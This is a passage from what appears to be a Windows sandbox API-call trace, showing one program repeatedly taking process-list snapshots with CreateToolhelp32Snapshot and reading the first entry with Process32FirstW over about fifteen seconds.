th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0101.723] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0101.750] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0101.947] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0101.950] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0102.102] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0102.104] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0102.275] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0102.279] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0102.461] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0102.464] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0102.604] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0102.607] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0102.820] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0102.823] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0103.008] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0103.011] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0103.148] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0103.153] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0103.351] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0103.354] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0103.566] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0103.569] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0103.894] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0103.897] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0104.097] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0104.100] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0104.303] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0104.307] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0104.505] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0104.508] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0104.647] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0104.663] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0104.864] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0104.867] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0105.004] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0105.007] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0105.209] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x258 [0105.212] Process32FirstW (in: hSnapshot=0x258, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0105.410] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0105.413] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0105.566] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0105.569] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0105.707] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0105.709] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0106.034] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0106.037] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0106.177] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0106.180] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0106.331] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0106.334] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0106.518] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0106.520] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0106.706] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0106.737] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0106.931] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0106.934] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0107.142] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0107.145] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0107.330] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0107.333] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0107.493] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0107.496] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0107.761] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0107.764] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0107.958] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0107.974] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0108.125] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0108.132] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0108.360] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0108.366] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0108.588] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0108.591] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0108.811] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0108.814] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0108.958] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0108.965] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0109.158] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0109.175] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0109.361] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0109.363] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0109.524] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x258 [0109.527] Process32FirstW (in: hSnapshot=0x258, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0109.842] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x258 [0109.846] Process32FirstW (in: hSnapshot=0x258, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.137] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x258 [0110.140] Process32FirstW (in: hSnapshot=0x258, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.308] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x258 [0110.311] Process32FirstW (in: hSnapshot=0x258, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.451] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0110.454] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.683] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0110.686] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.855] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0110.858] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.026] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0111.029] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.198] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0111.201] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.369] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0111.372] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.541] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0111.544] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.684] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0111.687] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0112.406] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0112.409] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0112.643] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0112.646] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0112.867] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0112.870] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0113.039] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0113.041] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0113.196] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x23c [0113.199] Process32FirstW (in: hSnapshot=0x23c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0113.366] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0113.369] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0113.527] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0113.530] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.332] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0114.335] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.709] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0114.756] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.957] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0114.960] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.099] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0115.115] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.332] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0115.334] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.504] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0115.507] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.730] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0115.733] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.002] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 